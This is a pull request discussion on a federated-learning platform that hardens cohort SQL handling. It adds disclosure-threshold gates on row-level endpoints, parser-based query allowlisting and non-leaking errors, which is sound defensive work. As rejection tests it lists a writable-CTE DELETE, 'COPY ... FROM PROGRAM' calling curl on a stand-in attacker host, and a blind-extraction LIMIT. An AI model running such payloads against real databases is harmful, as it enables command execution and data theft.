fix(security): FLIP-PT-002 gate row-level cohort egress, FLIP-PT-088 replace SQL denylists

[atriaybagur]

Description

Addresses FLIP-PT-002 (cohort row-level export) and FLIP-PT-088 (cohort SQL denylist), plus FLIP-PT-016 error leakage on the same handler. Per SECURITY.md, findings are referenced by ID only.

FLIP-PT-002 — /cohort/dataframe had no minimum-cohort gate

The endpoint returned row-level patient records with no k-anonymity threshold, while its sibling /cohort has always suppressed below-threshold counts.

It cannot simply be removed or column-filtered, because it is the FL training-data path — user training code reaches it through flip.get_dataframe(...) and a model trains on rows. So it now applies the same COHORT_QUERY_THRESHOLD, refusing below-threshold cohorts with a fixed message that is identical for zero rows and for threshold-minus-one, so the refusal cannot be used as a row-count oracle. A cohort that small has no training value anyway.

There is deliberately no column allowlist: accession_id is load-bearing (it is how returned rows join to the studies pulled into XNAT) and shipped tutorials legitimately SELECT *, so a column filter would break every FL app while a caller could trivially alias around it. Column minimisation belongs in the submitted cohort query and in project approval. This is documented at the call site.

FLIP-PT-002 (review round) — /cohort/accession-ids had no gate either

/cohort/dataframe is not the only row-level route. /cohort/accession-ids returns accession IDs — still row-level identifiers, and the pointer set into the imaging data: they decide whose studies get pulled into XNAT, where project members view them. It now applies the same threshold and the same fixed refusal text, placed before the column check so a below-threshold probe cannot distinguish "too small" from "wrong columns".

The endpoint is not reachable from the hub (no route — data-access-api publishes only on the trust host; and no credential — it requires the per-trust TRUST_INTERNAL_SERVICE_KEY the hub never holds), and no accession IDs return to the hub. So this is not closing a hub-visible egress path. It is that the only below-threshold check today is hub-side, in stage_project, which is precisely the "assume the hub filtered first" this PR's own layering rejects — and start_project_imaging_creation does not re-check staging. The trust now has its own control.

The gate evaluates the live cohort on every call, not once at approval. FLIP stores the cohort only as a SQL string and re-runs it against OMOP at every stage — the imaging status poll alone re-runs it roughly every 10s per trust while a project page is open. A project can import cleanly and later start refusing if its cohort shrinks. That is right for a disclosure control but is not an approval-time gate, so it is stated at each site rather than left to be misread. The underlying design gap is #857.

Because the initial pull runs as a background task after the response is sent, a bare refusal would have produced an empty XNAT project that the hub still recorded as CREATED and emailed users about. So imaging-api now raises a typed CohortBelowThresholdError on 403: the pull logs a clear reason and queues nothing, and the status path returns a readable 403 that trust-api relays to the hub.

Writable CTEs bypassed the SELECT-shape check

Postgres allows WITH x AS (DELETE FROM t RETURNING *) SELECT * FROM x, which sqlglot parses with a top-level Select — so the trust-side shape check passed it. Not exploitable, since data_analyst_reader has no write grant, but the docstring claimed a guarantee the code did not provide. validate_query now rejects any INSERT/UPDATE/DELETE/MERGE node anywhere in the tree.

COHORT_QUERY_THRESHOLD is now a real per-trust control

It was undiscoverable and, outside compose.test.yml, had no effect at all — neither trust compose passed it into the container, so dev and prod both ran the code default whatever an operator wrote in their kit. It is now plumbed through both composes, present in the kit templates, and documented as the operator's own disclosure floor. Guarded by an empty-string coercion validator, since the service Makefile exports kit-file names with sed 's/=.*//' and a commented-out entry would otherwise arrive as "" and kill the service at import.

Its read sites are also consolidated: services/cohort.py held an import-time snapshot that five statistics-path sites used while the routers read live, so a per-trust override silently did not reach the statistics path. All reads are live now, with the configured value applied as a floor so a caller still cannot lower it.

FLIP-PT-088 — the denylist was bypassable and blocked legitimate SQL

The hub carried a nine-entry substring regex that was trivially evaded, and — because it banned the bare token substring — refused every query using the standard SUBSTRING() function. The accompanying validate_query was effectively a no-op: sqlparse.parse is a non-validating tokenizer that returns a truthy result for arbitrary text ($$$$ included), so nothing was actually being validated.

Both are replaced by a sqlglot pre-check: parses, exactly one statement, SELECT-shaped, length-capped.

The same denylist existed a third time in flip-ui (src/utils/cohort/query.ts), so removing it hub-side alone would have left SUBSTRING() blocked at the first gate a researcher hits. It is removed there too; the cohort form now validates required-field only.

Why the layers are deliberately asymmetric

The three checks are not copies and should not be made into copies:

Layer	Job	Authority?
flip-ui cohort form	Required-field validation only	No
flip-api submit_cohort_query.validate_query	Fast-feedback validity pre-check before fan-out	No
data-access-api services/cohort.validate_query	Decides what may run against OMOP	Yes

A trust holds patient data and the hub is a separate administrative domain, so the trust must stay safe regardless of what the hub checked — which means anything the hub enforced for safety would have to be enforced trust-side anyway. Duplicating the trust's rules on the hub would buy no security, only two copies of one policy to keep in sync.

What the hub check does earn its place for is fast feedback: submitting a cohort query fans it out to every registered trust as an encrypted task, each validating asynchronously. Without a pre-check a researcher who typos their SQL waits for that whole round-trip to be told. Catching "this cannot succeed anywhere" in-hand turns a multi-minute fan-out into an immediate 400.

Because the hub check is strictly weaker and enforces only what every trust would reject anyway, drift is safe by construction: a hub lagging behind wastes a fan-out, never becomes a bypass. This is written up in trust/data-access-api/README.md#cohort-query-validation and recorded as a rule in CLAUDE.md/AGENTS.md so it is not "fixed" later by syncing the layers.

Two things found along the way

• Trust-side double-parse collapsed. validate_query and _parse_and_emit each parsed the query and kept separate copies of the single-statement and SELECT-shape rules — the one genuine sync hazard here, since both lived in the same request path. validate_query now does a single parse-validate-emit pass and returns the re-emitted SQL, so there is one parse and one policy.
• FLIP-PT-016 / error-handling bug on /cohort/dataframe. except Exception also caught the category-only HTTPExceptions that get_records deliberately raises, re-wrapping every categorised 400 as a 500 whose detail was the exception's repr. The 500 paths additionally echoed raw driver text, which the trust forwards to the hub and the hub shows to every project member.

Second review round (post-approval)

Three comments left after the approving review, all addressed in 3f0cfaf8. None was a security defect; all three were real.

• COHORT_QUERY_THRESHOLD could be disabled outright. It was a plain int, so 0 or a negative value parsed happily and switched off every check that reads it at once — both row-level gates (len(df) < 0 is never true) and the statistics suppression. Now a PositiveInt, so a bad value stops the service at import rather than leaving it running with no floor. Its default also lived in two places, the field default and the empty-string coercion validator whose docstring conceded they "must stay in sync"; both now read one module-level constant, with a test asserting the coercion tracks the field default rather than copies it. PositiveInt means >= 1, not >= 10 — the stronger floor collides with the shared integration seed and is filed as COHORT_QUERY_THRESHOLD should be floored at the platform minimum of 10, not 1 #870.
• An unreachable guard in get_accession_ids is deleted. if "accession_id" not in df.columns could never fire: the route wraps the caller's SQL as SELECT accession_id FROM (...), so a cohort that doesn't project the column fails inside get_records with UndefinedColumn and surfaces as a category 400 before any DataFrame exists. Its only test mocked get_records, which is exactly how a dead branch keeps looking alive. Confirmed against real Postgres with the guard still in place — the new integration test asserts the get_records message and passed first time — then removed, with the unit test retargeted at the propagation path that does run.
• COPY and EXPLAIN are now tested. validate_query's docstring named both as rejected but neither was exercised. Added as characterisation tests along with COPY ... FROM PROGRAM; all three already passed. Worth noting why: sqlglot parses them fine, to exp.Copy and to the catch-all exp.Command, so only the allowlist stops them. exp.Command round-trips raw text and exposes no children, so admitting it would make the DML, schema and LIMIT walks traverse nothing — that warning now sits on _ALLOWED_QUERY_TYPES itself.

/cohort/accession-ids had no integration coverage before this round; it now has four tests, including the zero-row vs below-threshold byte-identical refusal, which was previously asserted only against mocked DataFrames.

Linked Issues

No public issue for the findings themselves — tracked confidentially by finding ID.

Filed from the review round, all pre-existing and out of scope here:

• Cohort membership is re-derived from live OMOP at every stage — no record of the approved cohort #857 — FLIP has no approved-cohort artefact; the cohort SQL is re-derived from live OMOP at every stage, and cohort growth after approval is silently serviced.
• Imaging import-status counts bypass the cohort disclosure threshold #858 — ImportStatusCount is not subject to the threshold suppression, and the hub controls the SQL those counts are computed over. This PR narrows the small-k end.
• Cohort query cache key lowercases string literals — a cache hit can return a different cohort #859 — the cohort query cache key lowercases string literals, so a cache hit can return a different cohort.

From the second review round:

• COHORT_QUERY_THRESHOLD should be floored at the platform minimum of 10, not 1 #870 — COHORT_QUERY_THRESHOLD should be floored at the shipped minimum of 10 rather than merely positive. Blocked on test data: compose.test.yml deliberately runs the shared stack at 5, and two trust-api integration assertions depend on it, so raising the floor means growing omop_seed.sql past 10 patients per sex bucket first.

Checklist

• Follows the project's coding conventions and style guide
• Updates documentation
• I have added tests that prove my fix is effective or that my feature works
• New and existing unit tests pass locally with my changes
• Any dependent changes have been merged and published

Type of Change

• Non-breaking change (fix or new feature that would not break existing functionality).
• New tests added to cover the changes.
• In-line docstrings updated.

Not a breaking change for any working app: the threshold gate only refuses cohorts too small to train on, and the pre-check now accepts queries (e.g. SUBSTRING()) that were previously refused. sqlparse is dropped from flip-api in favour of sqlglot, already used by data-access-api.

Testing

Every test was written first and watched fail. The failures confirmed all three findings were live rather than stale: the leakage tests genuinely returned the seeded Bob / hunter2 strings, the gate test returned 200 instead of 403, and the exception test returned 500 instead of 400.

• Unit tests pass locally — flip-api 1323 passed (from 1318 baseline), data-access-api 176 passed (from 157; +8 in the second review round), flip-ui 1076 passed.
• Integration tests pass — make -C trust/data-access-api integration_test, 10 passed against real Postgres (from 6). Alongside test_dataframe_endpoint_returns_seeded_columns, /cohort/accession-ids now has four: the positive path (24 ids projected out), the UndefinedColumn 400, the below-threshold 403, and a zero-row vs below-threshold pair asserted byte-identical against the real database rather than against mocks.
• ruff and mypy clean on both Python services.

The three flip-ui lint warnings are pre-existing max-len in EditProjectDrawer.vue, untouched by this PR.

Verified on a running dev deployment

Beyond the suites, this was exercised against a live dev stack — branch builds of flip-api and
data-access-api run alongside the existing stack, with the real trust1/trust2 trust-api and
data-access-api containers servicing the queued tasks and the real seeded OMOP database (4,217
image_occurrence rows) behind them.

End-to-end through the UI's own endpoint. A SUBSTRING() cohort query — rejected outright by the
old denylist at both the UI and the hub — submitted via POST /api/step/cohort (what
CohortQuery.vue calls) with a real Cognito token returned 800 records aggregated across both
trusts in 8s. Both trusts' data-access-api logged one execution each.

Hub barrier (13 cases, real Cognito auth): SUBSTRING(), CTE+UNION, INTERSECT and plain SELECT
queue to both trusts; unparseable input, stacked statements, DROP, INSERT, UPDATE, empty and
over-length queries are refused 400 with specific messages. Every one of that second group
previously passed the hub, since the sqlparse check was a no-op. Missing and bogus tokens 401.

Authority barrier (23 cases, real OMOP): schema pinning refuses information_schema and
pg_catalog; the literal-LIMIT rule refuses LIMIT CASE WHEN ... blind extraction; non-literal
OFFSET, stacked statements and DDL/DML all refused. Error responses stay category-only.

PT-002 gate: 1 row → 403, 9 rows → 403, exactly 10 rows → 200 (not off-by-one), 0 rows → 403 —
and the 0-row and 9-row refusal bodies are byte-identical (same SHA-256), confirming the refusal
cannot be used as a row-count oracle.

Behaviour change worth reviewer attention: the threshold counts returned rows, so a
low-cardinality aggregate on /cohort/dataframe (e.g. GROUP BY yielding 2 rows) is now refused
even though it discloses nothing identifiable. Aggregates belong on /cohort, which has its own
suppression, but this is a real change for anyone using /dataframe for grouped summaries.

Additional Notes

AGENTS.md twins were regenerated from their CLAUDE.md counterparts with sed per the repo rule, at both root and trust/data-access-api/.

Not run: the Sphinx build, since no docs/source/ page changed — documentation here is service README + in-line.

[codecov]

Codecov Report

✅ All modified and coverable lines are covered by tests.

📢 Thoughts on this report? Let us know!

[Copilot]

Pull request overview

This PR strengthens cohort-query handling across the UI, central hub (flip-api), and trust-side data-access-api by (1) replacing bypassable SQL keyword denylists with parser-based validation and (2) gating row-level cohort exports behind the existing disclosure threshold, reducing both data-leakage and oracle surfaces while keeping the “hub pre-check vs trust authority” layering intentionally asymmetric.

Changes:

• Gate /cohort/dataframe row-level export on COHORT_QUERY_THRESHOLD with fixed refusal text and non-leaking error handling.
• Replace hub/UI SQL denylists and the hub’s non-validating sqlparse check with sqlglot parse-based structural checks (single statement, SELECT-shaped, length-capped).
• Consolidate trust-side query validation into a single parse→validate→emit step that returns the emitted SQL, and document the three-layer validation model.

Reviewed changes

Copilot reviewed 15 out of 16 changed files in this pull request and generated 1 comment.

Show a summary per file

File	Description
trust/data-access-api/data_access_api/services/cohort.py	Make trust-side validate_query authoritative parse/validate/emit returning SQL; enforce schema + literal LIMIT/OFFSET; keep category-only execution errors.
trust/data-access-api/data_access_api/routers/cohort.py	Use emitted SQL from validate_query; add /cohort/dataframe threshold gate + fixed refusal detail; avoid re-wrapping HTTPException from get_records.
trust/data-access-api/tests/routers/test_cohort.py	Update router tests for emitted-SQL flow, dataframe threshold gating, and non-leaking error behavior.
trust/data-access-api/tests/services/test_cohort.py	Update service tests for validate_query return-type change and additional structural validation cases.
trust/data-access-api/README.md	Add detailed documentation of the intentionally-asymmetric 3-layer cohort query validation and row-level threshold gating.
trust/data-access-api/CLAUDE.md	Record trust-side validation authority + dataframe threshold rule for future contributors.
trust/data-access-api/AGENTS.md	Regenerated mirror of CLAUDE.md with the same guidance updates.
flip-api/src/flip_api/cohort_services/submit_cohort_query.py	Replace denylist + sqlparse with sqlglot fast-feedback validation (length, single statement, SELECT-shaped).
flip-api/tests/unit/cohort_services/test_submit_cohort_query.py	Add unit tests covering hub pre-check behavior (unparseable, stacked statements, oversized, non-SELECT) and allow SUBSTRING().
flip-api/pyproject.toml	Swap dependency from sqlparse to sqlglot.
flip-api/uv.lock	Lockfile updates reflecting sqlglot addition and sqlparse removal.
flip-ui/src/utils/cohort/query.ts	Remove client-side SQL denylist helper; retain only trust filtering utility with rationale comment.
flip-ui/src/utils/cohort/tests/query.spec.ts	Remove denylist-focused unit tests; keep tests for remaining helper(s).
flip-ui/src/partials/cohort-query/CohortQuery.vue	Remove denylist-based form validation; keep required-field-only validation with rationale.
CLAUDE.md	Document the “deliberately asymmetric” cohort validation layering at the repo level.
AGENTS.md	Regenerated mirror of CLAUDE.md with the same repo-level rule update.

[garciadias]

The SQL-validation rewrite (PT-088) and the /cohort/dataframe threshold/error-handling fixes (PT-002, PT-016) are well-designed and well-tested in isolation - adversarial coverage for unparseable input, stacked statements, DML/DDL rejection, and the threshold boundary (including the byte-identical 0-vs-below-threshold refusal) all check out.

One thing I'd rather raise carefully than lay out in full on a public thread: the COHORT_QUERY_THRESHOLD protection this PR adds to /cohort/dataframe isn't mirrored on data-access-api's /cohort/accession-ids - the endpoint that actually determines which imaging studies get pulled into XNAT for a project, which is the more sensitive of the two surfaces. Combined with how project staging/approval and image-pull submission relate to each other upstream in flip-api, I don't think this PR's threshold protection actually extends end-to-end to the imaging-pull path the way it does for the tabular export path. This looks pre-existing rather than introduced by this diff, and I'd rather walk through the specifics with a maintainer directly than post the mechanics here. The fix most consistent with this PR's own approach would likely be adding the same COHORT_QUERY_THRESHOLD gate to /cohort/accession-ids that this PR adds to /cohort/dataframe, so the trust-side authority never releases row-level identifiers for an unvetted-size cohort regardless of what was approved upstream - but I'd treat that as a starting point for discussion, not a complete fix, until the upstream side is looked at too.

Two more contained items (couldn't attach these inline since the specific lines predate this PR's diff):

• trust/data-access-api/data_access_api/routers/cohort.py:196-199 (get_accession_ids) - this except block still does raise HTTPException(status_code=500, detail=str(e)), returning raw exception text. That's the exact FLIP-PT-016 leak this same PR just fixed two functions above in get_dataframe (now logger.exception(...) + a category-only detail string). Worth applying the identical fix here, and to receive_cohort_query's handler a bit further up in this file, which has the same pattern.

• trust/data-access-api/data_access_api/services/cohort.py:130 - the new allowlist's isinstance(stmt, _ALLOWED_QUERY_TYPES) check validates the top-level parsed statement's type, but a CTE can carry a data-modifying statement (INSERT/UPDATE/DELETE/MERGE) in its body while the outer statement still parses as a SELECT - so a query of the shape "WITH x AS ( RETURNING *) SELECT * FROM x" would pass this check despite containing a write. Not currently exploitable here since data_analyst_reader only has pg_read_all_data at the database layer, so Postgres itself would reject the write - but the docstring's claim that this layer rejects any DML the DB would also reject isn't quite true for this construct, and closing it seems worth doing given the whole point of this rewrite is a more principled validator than the old denylist. Suggest also rejecting when stmt.find_all((exp.Insert, exp.Update, exp.Delete, exp.Merge)) is non-empty, not just checking the top-level statement type.

[atriaybagur]

Thanks for the careful read — all three addressed in 205fd01.

1. Threshold gate on /cohort/accession-ids

Added, mirroring /cohort/dataframe and reusing its _BELOW_THRESHOLD_DETAIL so a zero-row cohort and a below-threshold one are byte-identical. The gate sits before the accession_id column check, so a below-threshold probe cannot distinguish "too small" from "wrong columns" either.

I traced the exposure before implementing, and it changed why the gate is right rather than whether:

• The hub cannot call this endpoint. No route — data-access-api publishes only on the trust host and trusts accept no inbound connections — and no credential, since authenticate_internal_service requires the per-trust TRUST_INTERNAL_SERVICE_KEY that the hub never holds.
• But the hub supplies the SQL it executes, via the CREATE_IMAGING / GET_IMAGING_STATUS / REIMPORT_STUDIES task payloads, and no accession IDs return to the hub — GET_IMAGING_STATUS returns ImportStatusCount, five integers.

So this isn't closing a hub-visible row-level egress path. It's that the only below-threshold check today is hub-side (stage_project's empty_trust_ids), which is exactly the "assume the hub filtered first" this PR's own README forbids — and start_project_imaging_creation doesn't re-check staging. The gate is the trust's own independent control. Your framing was right; the justification is defence-in-depth rather than a live leak.

One thing worth flagging explicitly: the gate necessarily evaluates the live cohort on every call, not once at approval. FLIP stores the cohort only as a SQL string and re-runs it at every stage — the imaging status poll alone re-runs it roughly every 10s per trust while a project page is open. A project can therefore import cleanly and start refusing later if its cohort shrinks. That's correct for a disclosure control, but it isn't an approval-time gate, so I've said so in the docstring, the README and the agent instructions rather than let a later reader assume otherwise.

Because of that, the gate alone would have failed badly: get_accession_ids converted every non-2xx into a bare RuntimeError, and the initial pull runs as a background task after the response is sent — so a refusal would have produced an empty XNAT project that the hub still recorded as CREATED and emailed users about, plus a permanently red status chip carrying a raw httpx string. So the gate ships with typed handling: a new CohortBelowThresholdError, the pull logging a clear reason and queueing nothing, and the status path returning a readable 403 that trust-api relays to the hub.

2. detail=str(e) in get_accession_ids and receive_cohort_query

Fixed — both get_accession_ids handlers and the get_statistics handler now logger.exception(...) with a category-only detail, matching get_dataframe. The three router tests that asserted the leaked text now assert the category and that a planted identifier is absent from the response body, so a regression fails rather than silently passing.

3. Writable CTE bypassing the SELECT-shape check

Confirmed and fixed. Reproduced first:

top=Select  select_shaped=True  writes_found=['Delete']

validate_query now rejects when stmt.find_all(exp.Insert, exp.Update, exp.Delete, exp.Merge) yields anything, with tests for the DELETE / INSERT / UPDATE shapes plus a nested one, and a test that an ordinary read-only CTE still passes. You were right that the docstring's claim was the real problem — it promised a guarantee the code didn't provide — so rule 3 is now split into "top-level shape" and "no write anywhere in the tree", and both note that the read-only role is what actually stops the write.

Also in this push

• Threshold read sites consolidated. services/cohort.py held an import-time snapshot of COHORT_QUERY_THRESHOLD that five statistics-path sites used while the routers read it live — so a per-trust override silently didn't apply to the statistics path. All reads are now live. I kept the existing property that a caller cannot lower the floor (applied as max(threshold, configured)) since test_get_statistics_fails_global_threshold pins that deliberately.
• The threshold is now actually a per-trust control. It was undiscoverable and had no effect outside compose.test.yml: neither trust compose passed it to the container. It's now plumbed through both, present in the kit templates, and documented as the operator's own disclosure floor. Guarded with an empty-string coercion validator — the service Makefile exports kit-file names with sed 's/=.*//', so a commented-out entry would otherwise arrive as "" and kill the service at import.

Filed separately

• Cohort membership is re-derived from live OMOP at every stage — no record of the approved cohort #857 — the design gap behind the live-evaluation caveat above: FLIP has no approved-cohort artefact, and cohort growth after approval is silently serviced. I've tried to engage your governance page's opt-out-propagation argument (docs: add Security and Governance and compliance pages #850) directly there rather than around it — that argument is right, which is why a naive freeze isn't the answer.
• Imaging import-status counts bypass the cohort disclosure threshold #858 — ImportStatusCount isn't subject to the threshold suppression, and the hub controls the SQL those counts are computed over. Pre-existing; this PR narrows the small-k end. Written without a probe recipe.
• Cohort query cache key lowercases string literals — a cache hit can return a different cohort #859 — separate correctness bug: the cohort query cache key lowercases string literals, so = 'F' and = 'f' share an entry for up to 60 days and a hit can return a different cohort.

Both service suites are green (make -C trust/data-access-api unit_test: 168 passed; make -C trust/imaging-api unit_test: 266 passed), ruff and mypy clean.

[garciadias]

The row-level egress gate is enforced inside data-access-api itself (the only component holding OMOP credentials) directly in the query-execution path, applies uniformly regardless of caller, sits behind the existing trust-internal-auth dependency, and cannot be skipped by any code path that reaches get_records for either row-level route. The SQL-safety replacement is a genuine structural allowlist (parse → single-statement → SELECT-shaped → no DML-anywhere-in-tree → schema-pinned → literal-LIMIT/OFFSET → re-emit-from-AST) backed by a read-only DB role as defence in depth, not a bigger denylist, and it closes a real gap (writable CTEs) the prior shape check missed.

Adversarial test coverage is excellent — including the exact historical pentest payload, writable-CTE rejection, oracle-indistinguishability assertions (byte-identical refusals for zero vs. below-threshold cohorts), and PII-leak-absence assertions across every exception branch. Left two minor, non-security comments (a likely-dead-code check, thin test coverage on COPY/EXPLAIN). Approving.

[garciadias]

One more note that doesn't attach to a changed line in this diff (test_validate_query_rejects_non_select_statements itself isn't touched by this PR):

That test parametrizes DDL/DML (DROP, DELETE, UPDATE, INSERT, CREATE, ALTER, TRUNCATE) but not COPY or EXPLAIN, even though the validate_query docstring explicitly names both as rejected by rule 3. The allowlist design (_ALLOWED_QUERY_TYPES) should reject them structurally regardless, so this is very unlikely to be a real gap — just an untested claim in a security-relevant docstring. Worth adding "COPY (SELECT 1) TO STDOUT" and "EXPLAIN SELECT * FROM omop.person" to that parametrization as a small follow-up.

[atriaybagur]

Added in 3f0cfaf, plus the FROM PROGRAM form since it was one line away:

"COPY (SELECT 1) TO STDOUT",
"COPY omop.person FROM PROGRAM 'curl attacker.example'",
"EXPLAIN SELECT * FROM omop.person",

Your read was right that this is an untested claim rather than a gap — all three passed on the first run, no production change needed. But checking why they pass turned up something worth writing down, so the parametrisation is not the only thing that landed.

Neither statement fails at the parse step, which is where I'd have guessed the rejection came from. sqlglot 30.9.0 parses both successfully:

'COPY (SELECT 1) TO STDOUT'              -> Copy
'COPY omop.person FROM PROGRAM ...'      -> Copy
'EXPLAIN SELECT * FROM omop.person'      -> Command   (logs: "contains unsupported
                                                        syntax. Falling back to
                                                        parsing as a 'Command'")

exp.Command is sqlglot's catch-all for syntax it does not model. It round-trips the raw text verbatim and exposes no children — so if it were ever admitted to _ALLOWED_QUERY_TYPES, the DML walk, the schema-pin walk and the literal-LIMIT/OFFSET walk would all traverse an empty tree and wave it through, and stmt.sql() would re-emit the attacker's string unchanged. The allowlist is the only thing standing between EXPLAIN and that, and the same is true of any statement a future sqlglot version stops understanding.

That's a sharper edge than "COPY is untested", so I've put it on _ALLOWED_QUERY_TYPES itself rather than leaving it in a test:

# Top-level statement shapes that count as SELECT-like for the cohort API. This is an
# allowlist and must stay one — never add ``exp.Command``, sqlglot's catch-all for syntax it
# does not model (``EXPLAIN`` lands there, as does anything a future sqlglot stops
# understanding). A Command node round-trips the raw text verbatim and exposes no children,
# so the DML, schema and LIMIT/OFFSET walks below would all traverse nothing and pass it
# through unchecked.

I left the near-duplicate test_validate_query_rejects_dml_and_ddl in tests/routers/test_cohort.py:605 alone — the services-level test is the authoritative one and duplicating the parametrisation into both files is how they drift.

[atriaybagur]

Ready for re-review

@garciadias — your two comments plus the COPY/EXPLAIN follow-up are all addressed at 3f0cfaf8. Flagging that GitHub auto-dismissed your approval when the commit landed (dismiss_stale_reviews is on for develop), so this needs one fresh look rather than anything having gone wrong.

CI: 27/28 green, plus the expected skipping on "Ensure PR to main originates from develop". data-access-api and data-access-api-integration both pass, so the new integration tests run in CI, not just locally.

Local: make -C trust/data-access-api unit_test 176 passed (from 168), integration_test 10 passed (from 6). ruff + mypy clean.

What changed — detail in the three thread replies:

1. COHORT_QUERY_THRESHOLD is a PositiveInt. As a plain int it accepted 0, which doesn't weaken one check but switches off three: both row-level gates read len(df) < threshold and len(df) < 0 is never true, so /cohort/dataframe and /cohort/accession-ids would have released a cohort of any size while /cohort stopped suppressing. Its default also lived in two places; both now read one module-level constant, with a test asserting the coercion tracks the field default rather than copying it.
2. The unreachable accession_id guard is deleted — your trace was right end to end. Confirmed by running the new integration test with the guard still in place: it asserted the get_records message ("The column 'accession_id' does not exist.") and passed first time, which it could not have done if the guard were reachable. /cohort/accession-ids also had no integration coverage at all before this, which is exactly why the branch looked alive; it now has four tests, including a zero-row vs below-threshold pair asserted byte-identical against the real database instead of against mocks.
3. COPY/EXPLAIN added as characterisation tests, plus COPY ... FROM PROGRAM. All three already passed. The interesting part was why: sqlglot parses both fine (exp.Copy, and the catch-all exp.Command), so only the allowlist stops them — and exp.Command exposes no children, so admitting it would make the DML, schema and LIMIT walks traverse an empty tree. That warning now lives on _ALLOWED_QUERY_TYPES.

One thing deliberately not done. PositiveInt means >= 1, not >= 10. The stronger floor is right — 10 is documented everywhere as a minimum operators may only raise — but compose.test.yml runs the shared stack at 5 on purpose and two of your suite's assertions depend on it (test_cohort_query.py:84-91, the 6 M / 6 F buckets not collapsing into "Other"; and :173, record_count == 6). Getting to 10 means growing omop_seed.sql past 10 patients per sex bucket first, so it's filed as #870 rather than smuggled in here.

Also flagged, not fixed: on /cohort/accession-ids the surviving 400 names a column FLIP injected in the wrapper rather than one the operator typed, which sits a little awkwardly with the identifier-echo justification at services/cohort.py:224-231. Still a category 400 with no row data; special-casing the shared get_records conversion for one route looked worse than the wart.